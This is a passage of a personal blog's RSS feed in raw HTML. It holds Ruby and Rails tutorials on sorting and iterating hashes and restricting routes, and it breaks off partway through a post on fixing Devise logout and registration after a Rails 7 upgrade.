<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="o">[[</span><span class="ss">:a</span><span class="p">,</span> <span class="mi">3</span><span class="o">]</span><span class="p">,</span> <span class="o">[</span><span class="ss">:b</span><span class="p">,</span> <span class="mi">2</span><span class="o">]</span><span class="p">,</span> <span class="o">[</span><span class="ss">:c</span><span class="p">,</span> <span class="mi">1</span><span class="o">]]</span>
</span></span></code></pre></td></tr></table>
</blockquote><h2 id="side-note-converting-resulting-arrays-to-hashes">Side Note: Converting Resulting Arrays to Hashes</h2>
<p>As a side note: if you still need the result in a hash format, you can convert the resulting array into a hash with <code>.to_h</code>:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">items</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="s2">&#34;b&#34;</span><span class="p">:</span> <span class="mi">2</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s2">&#34;a&#34;</span><span class="p">:</span> <span class="mi">3</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s2">&#34;c&#34;</span><span class="p">:</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># sorting and converting the result to a hash</span>
</span></span><span class="line"><span class="cl"><span class="n">items</span> <span class="o">=</span> <span class="n">items</span><span class="o">.</span><span class="n">sort</span><span class="o">.</span><span class="n">to_h</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>The code above will result in <code>items</code> being a hash again:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="p">{</span><span class="ss">:a</span><span class="o">=&gt;</span><span class="mi">3</span><span class="p">,</span> <span class="ss">:b</span><span class="o">=&gt;</span><span class="mi">2</span><span class="p">,</span> <span class="ss">:c</span><span class="o">=&gt;</span><span class="mi">1</span><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</blockquote>]]></content:encoded>
    </item>
    <item>
      <title>Restricting Ruby on Rails Routes with :only and :except</title>
      <link>https://nelson.cloud/restricting-ruby-on-rails-routes-with-only-and-except/?ref=rss</link>
      <pubDate>Sat, 03 Dec 2022 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/restricting-ruby-on-rails-routes-with-only-and-except/?ref=rss</guid>
      <description>How to restrict Ruby on Rails routes with :only and :except.</description><content:encoded><![CDATA[<h2 id="generating-all-routes-for-a-model">Generating All Routes for a Model</h2>
<p>Let&rsquo;s say we have an <code>item</code> model in a Ruby on Rails application. To create standard routes for this model, we write the following in <code>config/routes.rb</code>:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="no">Rails</span><span class="o">.</span><span class="n">application</span><span class="o">.</span><span class="n">routes</span><span class="o">.</span><span class="n">draw</span> <span class="k">do</span>
</span></span><span class="line"><span class="cl">  <span class="n">resources</span> <span class="ss">:items</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>We can run <code>rails routes</code> to see the routes created by the code above:</p>
<pre tabindex="0"><code>$ rails routes -c items

   Prefix Verb   URI Pattern               Controller#Action
    items GET    /items(.:format)          items#index
          POST   /items(.:format)          items#create
 new_item GET    /items/new(.:format)      items#new
edit_item GET    /items/:id/edit(.:format) items#edit
     item GET    /items/:id(.:format)      items#show
          PATCH  /items/:id(.:format)      items#update
          PUT    /items/:id(.:format)      items#update
          DELETE /items/:id(.:format)      items#destroy
</code></pre><p>What if we don&rsquo;t need all of these routes though? We can use <code>:only</code> and <code>:except</code> to restrict the routes that are created for a model.</p>
<h2 id="restricting-routes-with-only">Restricting Routes with :only</h2>
<p>If we only need a few routes, it makes sense to use <code>:only</code> to create only the routes we need. For example, if we only want the <code>index</code> and <code>show</code> routes, we can specify them inside an array after <code>only:</code>:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="no">Rails</span><span class="o">.</span><span class="n">application</span><span class="o">.</span><span class="n">routes</span><span class="o">.</span><span class="n">draw</span> <span class="k">do</span>
</span></span><span class="line"><span class="cl">  <span class="n">resources</span> <span class="ss">:items</span><span class="p">,</span> <span class="ss">only</span><span class="p">:</span> <span class="o">[</span><span class="ss">:index</span><span class="p">,</span> <span class="ss">:show</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>This results in only 2 routes being created and we can verify with <code>rails routes</code>:</p>
<pre tabindex="0"><code>$ rails routes -c items

Prefix Verb URI Pattern          Controller#Action
 items GET  /items(.:format)     items#index
  item GET  /items/:id(.:format) items#show
</code></pre><h2 id="restricting-routes-with-except">Restricting Routes with :except</h2>
<p><code>:except</code> works in the opposite way. Instead of specifying the routes we want to create, we specify the ones we don&rsquo;t want to create.</p>
<p>If we take the example from above and replace <code>only:</code> with <code>:except</code>, we can see what happens:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="no">Rails</span><span class="o">.</span><span class="n">application</span><span class="o">.</span><span class="n">routes</span><span class="o">.</span><span class="n">draw</span> <span class="k">do</span>
</span></span><span class="line"><span class="cl">  <span class="n">resources</span> <span class="ss">:items</span><span class="p">,</span> <span class="ss">except</span><span class="p">:</span> <span class="o">[</span><span class="ss">:index</span><span class="p">,</span> <span class="ss">:show</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>This time we can see that all routes except for <code>index</code> and <code>show</code> were created:</p>
<pre tabindex="0"><code>$ rails routes -c items

   Prefix Verb   URI Pattern               Controller#Action
    items POST   /items(.:format)          items#create
 new_item GET    /items/new(.:format)      items#new
edit_item GET    /items/:id/edit(.:format) items#edit
     item PATCH  /items/:id(.:format)      items#update
          PUT    /items/:id(.:format)      items#update
          DELETE /items/:id(.:format)      items#destroy
</code></pre><h2 id="restricting-a-single-route">Restricting a Single Route</h2>
<p>Note that if you need to restrict a single route with either <code>:only</code> or <code>:except</code>, there is no need to place the route in an array. Write it as a symbol after <code>:only</code> or <code>:except</code> like so:</p>
<p>Using <code>except:</code>:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="no">Rails</span><span class="o">.</span><span class="n">application</span><span class="o">.</span><span class="n">routes</span><span class="o">.</span><span class="n">draw</span> <span class="k">do</span>
</span></span><span class="line"><span class="cl">  <span class="n">resources</span> <span class="ss">:items</span><span class="p">,</span> <span class="ss">except</span><span class="p">:</span> <span class="ss">:index</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Using <code>only:</code>:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="no">Rails</span><span class="o">.</span><span class="n">application</span><span class="o">.</span><span class="n">routes</span><span class="o">.</span><span class="n">draw</span> <span class="k">do</span>
</span></span><span class="line"><span class="cl">  <span class="n">resources</span> <span class="ss">:items</span><span class="p">,</span> <span class="ss">only</span><span class="p">:</span> <span class="ss">:index</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span>
</span></span></code></pre></td></tr></table>
</blockquote><hr>
<p>References:</p>
<ul>
<li>

<a href="https://guides.rubyonrails.org/routing.html#restricting-the-routes-created" target="_blank" rel="noopener">https://guides.rubyonrails.org/routing.html#restricting-the-routes-created</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Iterating Through Hashes in Ruby</title>
      <link>https://nelson.cloud/iterating-through-hashes-in-ruby/?ref=rss</link>
      <pubDate>Thu, 17 Nov 2022 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/iterating-through-hashes-in-ruby/?ref=rss</guid>
      <description>Several methods of iterating through Ruby hashes.</description><content:encoded><![CDATA[<p>In my career, I have only seen Ruby hashes being iterated through by declaring both the key and value.
However, there are several ways of approaching hash iterations.</p>
<p>Note that at the time of this writing I&rsquo;m running Ruby 3.1.2.</p>
<h2 id="iterating-with-key-and-value">Iterating With Key and Value</h2>
<p>The most common way I&rsquo;ve seen hash iterations is by declaring both the key and value variables in the loop. The result is as expected:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span><span class="lnt">9
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">items</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="s1">&#39;A&#39;</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s1">&#39;B&#39;</span><span class="p">:</span> <span class="mi">2</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s1">&#39;C&#39;</span><span class="p">:</span> <span class="mi">3</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">items</span><span class="o">.</span><span class="n">each</span> <span class="k">do</span> <span class="o">|</span><span class="n">key</span><span class="p">,</span> <span class="n">value</span><span class="o">|</span>
</span></span><span class="line"><span class="cl">  <span class="nb">puts</span> <span class="s2">&#34;key: </span><span class="si">#{</span><span class="n">key</span><span class="si">}</span><span class="s2">, value: </span><span class="si">#{</span><span class="n">value</span><span class="si">}</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>The code above has the following output:</p>
<pre tabindex="0"><code>key: A, value: 1
key: B, value: 2
key: C, value: 3
</code></pre><h2 id="iterating-with-a-single-variable">Iterating With a Single Variable</h2>
<p>When iterating through a hash and declaring only a single variable, the variable is an array containing the key and value of the hash as elements.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span><span class="lnt">9
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">items</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="s1">&#39;A&#39;</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s1">&#39;B&#39;</span><span class="p">:</span> <span class="mi">2</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s1">&#39;C&#39;</span><span class="p">:</span> <span class="mi">3</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">items</span><span class="o">.</span><span class="n">each</span> <span class="k">do</span> <span class="o">|</span><span class="n">item</span><span class="o">|</span>
</span></span><span class="line"><span class="cl">  <span class="nb">puts</span> <span class="s2">&#34;</span><span class="si">#{</span><span class="n">item</span><span class="si">}</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>The code above has the following output:</p>
<pre tabindex="0"><code>[:A, 1]
[:B, 2]
[:C, 3]
</code></pre><p>In this case, the <code>item</code> variable is an array of 2 elements. The keys are Symbols while the values retain their original type.</p>
<p>There is also the <code>.each_pair</code> method, which works exactly the same way:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span><span class="lnt">9
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">items</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="s1">&#39;A&#39;</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s1">&#39;B&#39;</span><span class="p">:</span> <span class="mi">2</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s1">&#39;C&#39;</span><span class="p">:</span> <span class="mi">3</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">items</span><span class="o">.</span><span class="n">each_pair</span> <span class="k">do</span> <span class="o">|</span><span class="n">pair</span><span class="o">|</span>
</span></span><span class="line"><span class="cl">  <span class="nb">puts</span> <span class="s2">&#34;</span><span class="si">#{</span><span class="n">pair</span><span class="si">}</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>The output is exactly the same as before:</p>
<pre tabindex="0"><code>[:A, 1]
[:B, 2]
[:C, 3]
</code></pre><h2 id="iterating-through-keys">Iterating Through Keys</h2>
<p>The keys of a Ruby hash can be retrieved with <code>.keys</code>:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">items</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="s1">&#39;A&#39;</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s1">&#39;B&#39;</span><span class="p">:</span> <span class="mi">2</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s1">&#39;C&#39;</span><span class="p">:</span> <span class="mi">3</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">puts</span> <span class="n">items</span><span class="o">.</span><span class="n">keys</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>The code above prints out the following:</p>
<pre tabindex="0"><code>A
B
C
</code></pre><p>If we want to iterate over each key, we can use <code>.keys</code> in a loop:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span><span class="lnt">9
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">items</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="s1">&#39;A&#39;</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s1">&#39;B&#39;</span><span class="p">:</span> <span class="mi">2</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s1">&#39;C&#39;</span><span class="p">:</span> <span class="mi">3</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">items</span><span class="o">.</span><span class="n">keys</span><span class="o">.</span><span class="n">each</span> <span class="k">do</span> <span class="o">|</span><span class="n">key</span><span class="o">|</span>
</span></span><span class="line"><span class="cl">  <span class="nb">puts</span> <span class="n">key</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>And the output is exactly the same:</p>
<pre tabindex="0"><code>A
B
C
</code></pre><p>Finally, there is also the <code>.each_key</code> method that works the same way and is recommended by 

<a href="https://rubocop.org/" target="_blank" rel="noopener">Rubocop</a>:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span><span class="lnt">9
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">items</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="s1">&#39;A&#39;</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s1">&#39;B&#39;</span><span class="p">:</span> <span class="mi">2</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s1">&#39;C&#39;</span><span class="p">:</span> <span class="mi">3</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">items</span><span class="o">.</span><span class="n">each_key</span> <span class="k">do</span> <span class="o">|</span><span class="n">key</span><span class="o">|</span>
</span></span><span class="line"><span class="cl">  <span class="nb">puts</span> <span class="n">key</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Once again, the output is the same:</p>
<pre tabindex="0"><code>A
B
C
</code></pre><h2 id="iterating-through-values">Iterating Through Values</h2>
<p>Like with keys, the values of a hash can be retrieved with <code>.values</code>:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">items</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="s1">&#39;A&#39;</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s1">&#39;B&#39;</span><span class="p">:</span> <span class="mi">2</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s1">&#39;C&#39;</span><span class="p">:</span> <span class="mi">3</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">puts</span> <span class="n">items</span><span class="o">.</span><span class="n">values</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>The code above outputs the following:</p>
<pre tabindex="0"><code>1
2
3
</code></pre><p>We can use <code>.values</code> to iterate through the values of a hash:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span><span class="lnt">9
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">items</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="s1">&#39;A&#39;</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s1">&#39;B&#39;</span><span class="p">:</span> <span class="mi">2</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s1">&#39;C&#39;</span><span class="p">:</span> <span class="mi">3</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">items</span><span class="o">.</span><span class="n">values</span><span class="o">.</span><span class="n">each</span> <span class="k">do</span> <span class="o">|</span><span class="n">value</span><span class="o">|</span>
</span></span><span class="line"><span class="cl">  <span class="nb">puts</span> <span class="n">value</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>The output is the same:</p>
<pre tabindex="0"><code>1
2
3
</code></pre><p>There is also the <code>.each_value</code> method that achieves the same result and is also recommended by 

<a href="https://rubocop.org/" target="_blank" rel="noopener">Rubocop</a>:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span><span class="lnt">9
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">items</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="s1">&#39;A&#39;</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s1">&#39;B&#39;</span><span class="p">:</span> <span class="mi">2</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s1">&#39;C&#39;</span><span class="p">:</span> <span class="mi">3</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">items</span><span class="o">.</span><span class="n">each_value</span> <span class="k">do</span> <span class="o">|</span><span class="n">value</span><span class="o">|</span>
</span></span><span class="line"><span class="cl">  <span class="nb">puts</span> <span class="n">value</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Once again, the output is exactly the same as before:</p>
<pre tabindex="0"><code>1
2
3
</code></pre>]]></content:encoded>
    </item>
    <item>
      <title>Fix Devise Errors in Ruby on Rails 7</title>
      <link>https://nelson.cloud/fix-devise-errors-in-ruby-on-rails-7/?ref=rss</link>
      <pubDate>Wed, 16 Nov 2022 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/fix-devise-errors-in-ruby-on-rails-7/?ref=rss</guid>
      <description>How to fix Devise errors in Ruby on Rails 7.</description><content:encoded><![CDATA[<p>In Ruby on Rails 7, Webpacker, Turbolinks, and UJS were 

<a href="https://world.hey.com/dhh/rails-7-will-have-three-great-answers-to-javascript-in-2021-8d68191b" target="_blank" rel="noopener">replaced with Import Maps and Hotwire</a>.
Honestly, I&rsquo;m not much of a front-end guy so I didn&rsquo;t know what these changes meant for me exactly, so I decided to blindly upgrade a Ruby on Rails app for personal use.
This resulted in issues with 

<a href="https://github.com/heartcombo/devise" target="_blank" rel="noopener">Devise</a>.</p>
<p>I noticed that some Devise actions were not working as intended.
Specifically, the new user registration and logout actions were broken.
The solution was to add a couple gems and then update some views.</p>
<h2 id="installing-necessary-gems">Installing Necessary Gems</h2>
<p>At the time of this writing, I am on the following versions:</p>
<ul>
<li>Rails 7.0.4</li>
<li>Ruby 3.1.2</li>
<li>Devise 4.8.1</li>
</ul>
<p>First, I added the <code>importmap-rails</code> and <code>hotwire-rails</code> gems to my Gemfile:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">gem</span> <span class="s1">&#39;importmap-rails&#39;</span>
</span></span><span class="line"><span class="cl"><span class="n">gem</span> <span class="s1">&#39;hotwire-rails&#39;</span><span class="p">,</span> <span class="s1">&#39;~&gt; 0.1.3&#39;</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Then I installed the gems with <code>bundle</code></p>
<pre tabindex="0"><code>$ bundle install
</code></pre><p>Then I ran the following to complete the <code>importmap</code> installation:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">$ rails importmap:install
</span></span></code></pre></td></tr></table>
</blockquote><p>Then I had to run an additional command to install Hotwire:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">$ rails hotwire:install
</span></span></code></pre></td></tr></table>
</blockquote><p>That completed the installation phase. Next, I had to update my views.</p>
<h2 id="updating-views">Updating Views</h2>
<h3 id="fixing-the-logout-action">Fixing the Logout Action</h3>
<p>Before the changes, my &rsquo;logout&rsquo; link looked like this:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="o">&lt;%=</span> <span class="n">link_to</span><span class="p">(</span><span class="s1">&#39;Logout&#39;</span><span class="p">,</span> <span class="n">destroy_user_session_path</span><span class="p">,</span> <span class="nb">method</span><span class="p">:</span> <span class="ss">:delete</span><span class="p">)</span> <span class="o">%&gt;</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>To get this to work properly, I had to remove <code>method: :delete</code> and replace it with <code>data: { turbo_method: :delete }</code>:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="o">&lt;%=</span> <span class="n">link_to</span><span class="p">(</span><span class="s1">&#39;Logout&#39;</span><span class="p">,</span> <span class="n">destroy_user_session_path</span><span class="p">,</span> <span class="ss">data</span><span class="p">:</span> <span class="p">{</span> <span class="ss">turbo_method</span><span class="p">:</span> <span class="ss">:delete</span> <span class="p">})</span> <span class="o">%&gt;</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>That took care of my &lsquo;Logout&rsquo; action.</p>
<h3 id="fixing-new-user-registrations">Fixing New User Registrations</h3>
<p>To fix the new user registrations, I had to add <code>data: { turbo: false }</code> to the <code>form_for</code> helper.</p>
<p>This is what it looked like before the changes:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="o">&lt;</span><span class="s">%= form_for(resource, as: resource_name, url: registration_path(resource_name)) do |f| %&gt;
</span></span></span><span class="line"><span class="cl"><span class="s">  &lt;%=</span> <span class="n">render</span> <span class="s2">&#34;devise/shared/error_messages&#34;</span><span class="p">,</span> <span class="ss">resource</span><span class="p">:</span> <span class="n">resource</span> <span class="s">%&gt;
</span></span></span><span class="line"><span class="cl"><span class="s">  &lt;%= f.text_field :name, autofocus: true, placeholder: &#39;Name&#39;, autocomplete: &#34;name&#34; %&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="o">&lt;</span><span class="s">%= f.email_field :email, autofocus: true, placeholder: &#39;Email&#39;, autocomplete: &#34;email&#34; %&gt;
